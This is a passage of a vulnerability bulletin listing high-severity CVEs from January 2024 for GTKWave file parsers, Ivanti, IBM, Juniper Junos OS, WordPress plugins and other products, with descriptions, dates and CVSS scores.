gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VCD parse_valuechange portdump functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the GUI's interactive VCD parsing code.	2024-01-08	7.8	CVE-2023-37417
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VCD parse_valuechange portdump functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to	2024-01-08	7.8	CVE-2023-37418

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2vzt conversion utility.			
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VCD parse_valuechange portdump functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2lxt2 conversion utility.	2024-01-08	7.8	CVE-2023-37419
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VCD parse_valuechange portdump functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2lxt conversion utility.	2024-01-08	7.8	CVE-2023-37420
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds read when triggered via the GUI's default VCD parsing code.	2024-01-08	7.8	CVE-2023-37442
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds read when triggered via the GUI's legacy VCD parsing code.	2024-01-08	7.8	CVE-2023-37443
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds read when triggered via the GUI's interactive VCD parsing code.	2024-01-08	7.8	CVE-2023-37444
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2vzt conversion utility.	2024-01-08	7.8	CVE-2023-37445
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2lxt2 conversion utility.	2024-01-08	7.8	CVE-2023-37446
gtkwave -- gtkwave	Multiple out-of-bounds read vulnerabilities exist in the VCD var definition section functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the vcd2lxt conversion utility.	2024-01-08	7.8	CVE-2023-37447
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the GUI's recoder (default) VCD parsing code.	2024-01-08	7.8	CVE-2023-37573
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the GUI's legacy VCD parsing code.	2024-01-08	7.8	CVE-2023-37574
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the GUI's interactive VCD parsing code.	2024-01-08	7.8	CVE-2023-37575
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the vcd2vzt conversion utility.	2024-01-08	7.8	CVE-2023-37576
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary	2024-01-08	7.8	CVE-2023-37577

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the vcd2lxt2 conversion utility.			
gtkwave -- gtkwave	Multiple use-after-free vulnerabilities exist in the VCD get_vartoken realloc functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the use-after-free when triggered via the vcd2lxt conversion utility.	2024-01-08	7.8	CVE-2023-37578
gtkwave -- gtkwave	Multiple arbitrary write vulnerabilities exist in the VCD sorted bsearch functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the arbitrary write when triggered via the vcd2vzt conversion utility.	2024-01-08	7.8	CVE-2023-37921
gtkwave -- gtkwave	Multiple arbitrary write vulnerabilities exist in the VCD sorted bsearch functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the arbitrary write when triggered via the vcd2lxt2 conversion utility.	2024-01-08	7.8	CVE-2023-37922
gtkwave -- gtkwave	Multiple arbitrary write vulnerabilities exist in the VCD sorted bsearch functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the arbitrary write when triggered via the vcd2lxt conversion utility.	2024-01-08	7.8	CVE-2023-37923
gtkwave -- gtkwave	A stack-based buffer overflow vulnerability exists in the LXT2 lxt2_rd_expand_integer_to_bits function of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-38583
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `rows` array.	2024-01-08	7.8	CVE-2023-38618
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `msb` array.	2024-01-08	7.8	CVE-2023-38619
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `lsb` array.	2024-01-08	7.8	CVE-2023-38620
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `flags` array.	2024-01-08	7.8	CVE-2023-38621
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `len` array.	2024-01-08	7.8	CVE-2023-38622
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `vindex_offset` array.	2024-01-08	7.8	CVE-2023-38623
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_get_facname decompression functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write perfomed by the prefix copy loop.	2024-01-08	7.8	CVE-2023-38648
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_get_facname decompression functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to	2024-01-08	7.8	CVE-2023-38649

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write perfomed by the string copy loop.			
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT vzt_rd_block_vch_decode times parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when num_time_ticks is not zero.	2024-01-08	7.8	CVE-2023-38650
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT vzt_rd_block_vch_decode times parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when num_time_ticks is zero.	2024-01-08	7.8	CVE-2023-38651
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT vzt_rd_block_vch_decode dict parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when num_time_ticks is not zero.	2024-01-08	7.8	CVE-2023-38652
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the VZT vzt_rd_block_vch_decode dict parsing functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when num_time_ticks is zero.	2024-01-08	7.8	CVE-2023-38653
gtkwave -- gtkwave	An out-of-bounds write vulnerability exists in the LXT2 zlib block decompression functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-38657
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over `lt->numrealfacs`.	2024-01-08	7.8	CVE-2023-39234
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over `lt->num_time_ticks`.	2024-01-08	7.8	CVE-2023-39235
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `rows` array.	2024-01-08	7.8	CVE-2023-39270
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `msb` array.	2024-01-08	7.8	CVE-2023-39271
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `lsb` array.	2024-01-08	7.8	CVE-2023-39272
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `flags` array.	2024-01-08	7.8	CVE-2023-39273
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `len` array.	2024-01-08	7.8	CVE-2023-39274
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 facgeometry parsing functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these	2024-01-08	7.8	CVE-2023-39275

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	vulnerabilities.This vulnerability concerns the integer overflow when allocating the `value` array.			
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 num_dict_entries functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `string_pointers` array.	2024-01-08	7.8	CVE-2023-39316
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the LXT2 num_dict_entries functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer overflow when allocating the `string_lens` array.	2024-01-08	7.8	CVE-2023-39317
gtkwave -- gtkwave	Multiple integer underflow vulnerabilities exist in the LXT2 lxt2_rd_iter_radix shift operation functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer underflow when performing the left shift operation.	2024-01-08	7.8	CVE-2023-39413
gtkwave -- gtkwave	Multiple integer underflow vulnerabilities exist in the LXT2 lxt2_rd_iter_radix shift operation functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the integer underflow when performing the right shift operation.	2024-01-08	7.3	CVE-2023-39414
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the LXT2 parsing functionality of GTKWave 3.3.115. A specially-crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write perfomed by the prefix copy loop.	2024-01-08	7.8	CVE-2023-39443
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the LXT2 parsing functionality of GTKWave 3.3.115. A specially-crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write perfomed by the string copy loop.	2024-01-08	7.8	CVE-2023-39444
hancom -- hcell	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in Hancom HCell on Windows allows Overflow Buffers.This issue affects HCell: 12.0.0.893.	2024-01-12	8.8	CVE-2023-40250 vuln@krcert.or.kr
haokekeji -- yiqiniu	A vulnerability, which was classified as critical, has been found in HaoKeKeJi YiQiNiu up to 3.1. Affected by this issue is the function http_post of the file /application/pay/controller/Api.php. The manipulation of the argument url leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250652.	2024-01-13	7.3	CVE-2024-0510
hayyp -- cherry	handle_request in http.c in cherry through 4b877df has an sscanf stack-based buffer overflow via a long URI, leading to remote code execution.	2024-01-05	9.8	CVE-2024-22086
hex_workshop -- hex_workshop	A denial service vulnerability has been found on Hex Workshop affecting version 6.7, an attacker could send a command line file arguments and control the Structured Exception Handler (SEH) records resulting in a service shutdown.	2024-01-11	7.3	CVE-2024-0429
hyperledger -- aries-cloudagent-python	Hyperledger Aries Cloud Agent Python (ACA-Py) is a foundation for building decentralized identity applications and services running in non-mobile environments. When verifying W3C Format Verifiable Credentials using JSON-LD with Linked Data Proofs (LDP-VCs), the result of verifying the presentation `document.proof` was not factored into the final `verified` value (`true`/`false`) on the presentation record. The flaw enables holders of W3C Format Verifiable Credentials using JSON-LD with Linked Data Proofs (LDPs) to present incorrectly constructed proofs, and allows malicious verifiers to save and replay a presentation from such holders as their own. This vulnerability has been present since version 0.7.0 and fixed in version 0.10.5.	2024-01-11	9.9	CVE-2024-21669
ibm -- cics_transaction_gateway	IBM CICS Transaction Gateway 9.3 could allow a user to transfer or view files due to improper access controls. IBM X-Force ID: 270259.	2024-01-08	8.1	CVE-2023-47140
ibm -- db2	IBM Db2 for Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow a local user to escalate their privileges to the SYSTEM user using the MSI repair functionality. IBM X-Force ID: 270402.	2024-01-07	7.8	CVE-2023-47145
ibm -- security_verify_access_appliance	IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could	2024-01-11	8.4	CVE-2023-31003

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	allow a local user to obtain root access due to improper access controls. IBM X-Force ID: 254658.			
ibm -- storage_fusion_hci	IBM Storage Fusion HCI 2.1.0 through 2.6.1 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. IBM X-Force ID: 275671.	2024-01-08	9.8	CVE-2023-50948
icegram -- icegram_engage	Cross-Site Request Forgery (CSRF) vulnerability in Icegram Icegram Engage - WordPress Lead Generation, Popup Builder, CTA, Optins and Email List Building.This issue affects Icegram Engage - WordPress Lead Generation, Popup Builder, CTA, Optins and Email List Building: from n/a through 3.1.18.	2024-01-05	8.8	CVE-2023-52119
inc2734 -- mw_wp_form	The MW WP Form plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the '_single_file_upload' function in versions up to, and including, 5.0.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.	2024-01-11	9.8	CVE-2023-6316
inis_project -- inis	A vulnerability was found in Inis up to 2.0.1. It has been rated as critical. This issue affects some unknown processing of the file app/api/controller/default/Proxy.php. The manipulation of the argument p_url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249875.	2024-01-08	8.8	CVE-2024-0308
irfanview -- b3d	IrfanView B3D PlugIns before version 4.56 has a B3d.dll!+27ef heap-based out-of-bounds write.	2024-01-05	9.8	CVE-2020-13878
irfanview -- b3d	IrfanView B3D PlugIns before version 4.56 has a B3d.dll!+214f heap-based out-of-bounds write.	2024-01-05	9.8	CVE-2020-13879
irfanview -- b3d	IrfanView B3D PlugIns before version 4.56 has a B3d.dll!+1cbf heap-based out-of-bounds write.	2024-01-05	9.8	CVE-2020-13880
ivanti -- connect_secure	A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.	2024-01-12	9.1	CVE-2024-21887
ivanti -- connect_secure	An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.	2024-01-12	8.2	CVE-2023-46805
ivanti -- endpoint_manager	An unspecified SQL Injection vulnerability in Ivanti Endpoint Manager released prior to 2022 SU 5 allows an attacker with access to the internal network to execute arbitrary SQL queries and retrieve output without the need for authentication. Under specific circumstances, this may also lead to RCE on the core server.	2024-01-09	8.8	CVE-2023-39336
javik -- randomize	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Javik Randomize.This issue affects Randomize: from n/a through 1.4.3.	2024-01-08	8.8	CVE-2023-52204
juniper_networks -- junos_os	An Improper Validation of Syntactic Correctness of Input vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows a network-based, unauthenticated attacker to cause a Denial of Service (DoS). If an attacker sends high rate of specific ICMP traffic to a device with VXLAN configured, this causes a deadlock of the PFE and results in the device becoming unresponsive. A manual restart will be required to recover the device. This issue only affects EX4100, EX4400, EX4600, QFX5000 Series devices. This issue affects: Juniper Networks Junos OS * 21.4R3 versions earlier than 21.4R3-S4; * 22.1R3 versions earlier than 22.1R3-S3; * 22.2R2 versions earlier than 22.2R3-S1; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R2; * 23.1 versions earlier than 23.1R2.	2024-01-12	7.5	CVE-2024-21595
juniper_networks -- junos_os	A Double Free vulnerability in the flow processing daemon (flowd) of Juniper Networks Junos OS on SRX Series allows a network-based, unauthenticated attacker to cause a Denial of Service (DoS). In a remote access VPN scenario, if a "tcp-encap-profile" is configured and a sequence of specific packets is received, a flowd crash and restart will be observed. This issue affects Juniper Networks Junos OS on SRX Series: * All versions earlier than 20.4R3-S8; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S3; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3.	2024-01-12	7.5	CVE-2024-21606
juniper_networks -- junos_os	A Missing Release of Memory after Effective Lifetime vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). In a	2024-01-12	7.5	CVE-2024-21611

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Juniper Flow Monitoring (jflow) scenario route churn that causes BGP next hops to be updated will cause a slow memory leak and eventually a crash and restart of rpd. Thread level memory utilization for the areas where the leak occurs can be checked using the below command: user@host> show task memory detail | match so_in so_in6 28 32 344450 11022400 344760 11032320 so_in 8 16 1841629 29466064 1841734 29467744 This issue affects: Junos OS * 21.4 versions earlier than 21.4R3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3. Junos OS Evolved * 21.4-EVO versions earlier than 21.4R3-EVO; * 22.1-EVO versions earlier than 22.1R3-EVO; * 22.2-EVO versions earlier than 22.2R3-EVO. This issue does not affect: Juniper Networks Junos OS versions earlier than 21.4R1. Juniper Networks Junos OS Evolved versions earlier than 21.4R1.			
juniper_networks -- junos_os	An Improper Check for Unusual or Exceptional Conditions vulnerability in Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a network-based, unauthenticated attacker to cause rpd to crash, leading to Denial of Service (DoS). On all Junos OS and Junos OS Evolved platforms, when NETCONF and gRPC are enabled, and a specific query is executed via Dynamic Rendering (DREND), rpd will crash and restart. Continuous execution of this specific query will cause a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS * 22.2 versions earlier than 22.2R2-S2, 22.2R3; * 22.3 versions earlier than 22.3R2, 22.3R3. Juniper Networks Junos OS Evolved * 22.2 versions earlier than 22.2R2-S2-EVO, 22.2R3-EVO; * 22.3 versions earlier than 22.3R2-EVO, 22.3R3-EVO. This issue does not affect Juniper Networks: Junos OS versions earlier than 22.2R1; Junos OS Evolved versions earlier than 22.2R1-EVO.	2024-01-12	7.5	CVE-2024-21614
juniper_networks -- junos_os	An Improper Validation of Syntactic Correctness of Input vulnerability in Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to cause Denial of Service (DoS). On all Junos OS MX Series and SRX Series platforms, when SIP ALG is enabled, and a specific SIP packet is received and processed, NAT IP allocation fails for genuine traffic, which causes Denial of Service (DoS). Continuous receipt of this specific SIP ALG packet will cause a sustained DoS condition. NAT IP usage can be monitored by running the following command. user@srx> show security nat resource-usage source-pool <source_pool_name> Pool name: source_pool_name .. Address Factor-index Port-range Used Avail Total Usage X.X.X.X 0 Single Ports 50258 52342 62464 96% <<<<< - Alg Ports 0 2048 2048 0% This issue affects: Juniper Networks Junos OS on MX Series and SRX Series * All versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2.	2024-01-12	7.5	CVE-2024-21616
juniper_networks -- junos_os	An Out-of-bounds Write vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS), or Remote Code Execution (RCE) and obtain root privileges on the device. This issue is caused by use of an insecure function allowing an attacker to overwrite arbitrary memory. This issue affects Juniper Networks Junos OS SRX Series and EX Series: * Junos OS versions earlier than 20.4R3-S9; * Junos OS 21.2 versions earlier than 21.2R3-S7; * Junos OS 21.3 versions earlier than 21.3R3-S5; * Junos OS 21.4 versions earlier than 21.4R3-S5; * Junos OS 22.1 versions earlier than 22.1R3-S4; * Junos OS 22.2 versions earlier than 22.2R3-S3; * Junos OS 22.3 versions earlier than 22.3R3-S2; * Junos OS 22.4 versions earlier than 22.4R2-S2, 22.4R3.	2024-01-12	9.8	CVE-2024-21591
juniper_networks -- junos_os_evolved	A NULL Pointer Dereference vulnerability in Juniper Networks Junos OS Evolved on ACX7024, ACX7100-32C and ACX7100-48L allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). If a specific IPv4 UDP packet is received and sent to the Routing Engine (RE) packetio crashes and restarts which causes a momentary traffic interruption. Continued receipt of such packets will lead to a sustained DoS. This issue does not happen with IPv6 packets. This issue affects Juniper Networks Junos OS Evolved on ACX7024, ACX7100-32C and ACX7100-48L: * 21.4-EVO versions earlier than 21.4R3-S6-EVO; * 22.1-EVO versions earlier than 22.1R3-S5-EVO; * 22.2-EVO versions earlier than 22.2R2-S1-EVO, 22.2R3-EVO; * 22.3-EVO versions earlier than 22.3R2-EVO. This issue does not affect Juniper Networks Junos OS Evolved versions earlier than 21.4R1-EVO.	2024-01-12	7.5	CVE-2024-21602
juniper_networks -- junos_os_evolved	An Allocation of Resources Without Limits or Throttling vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). If a high rate of specific valid packets are processed by the routing engine (RE) this will lead to a loss of connectivity of the RE with other components of the chassis and thereby a complete and	2024-01-12	7.5	CVE-2024-21604

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	persistent system outage. Please note that a carefully designed lo0 firewall filter will block or limit these packets which should prevent this issue from occurring. The following log messages can be seen when this issue occurs: <host> kernel: nf_conntrack: nf_conntrack: table full, dropping packet This issue affects Juniper Networks Junos OS Evolved: * All versions earlier than 20.4R3-S7-EVO; * 21.2R1-EVO and later versions; * 21.4-EVO versions earlier than 21.4R3-S5-EVO; * 22.1-EVO versions earlier than 22.1R3-S2-EVO; * 22.2-EVO versions earlier than 22.2R3-EVO; * 22.3-EVO versions earlier than 22.3R2-EVO; * 22.4-EVO versions earlier than 22.4R2-EVO.			
juniper_networks -- junos_os_evolved	An Improper Handling of Syntactically Invalid Structure vulnerability in Object Flooding Protocol (OFP) service of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS). On all Junos OS Evolved platforms, when specific TCP packets are received on an open OFP port, the OFP crashes leading to a restart of Routine Engine (RE). Continuous receipt of these specific TCP packets will lead to a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS Evolved * All versions earlier than 21.2R3-S7-EVO; * 21.3 versions earlier than 21.3R3-S5-EVO ; * 21.4 versions earlier than 21.4R3-S5-EVO; * 22.1 versions earlier than 22.1R3-S4-EVO; * 22.2 versions earlier than 22.2R3-S3-EVO ; * 22.3 versions earlier than 22.3R3-EVO; * 22.4 versions earlier than 22.4R2-EVO, 22.4R3-EVO.	2024-01-12	7.5	CVE-2024-21612
juniper_networks -- paragon_active_assurance	An Improper Access Control vulnerability in the Juniper Networks Paragon Active Assurance Control Center allows an unauthenticated network-based attacker to access reports without authenticating, potentially containing sensitive configuration information. A feature was introduced in version 3.1.0 of the Paragon Active Assurance Control Center which allows users to selectively share account data. By exploiting this vulnerability, it is possible to access reports without being logged in, resulting in the opportunity for malicious exfiltration of user data. Note that the Paragon Active Assurance Control Center SaaS offering is not affected by this issue. This issue affects Juniper Networks Paragon Active Assurance versions 3.1.0, 3.2.0, 3.2.2, 3.3.0, 3.3.1, 3.4.0. This issue does not affect Juniper Networks Paragon Active Assurance versions earlier than 3.1.0.	2024-01-12	7.4	CVE-2024-21589
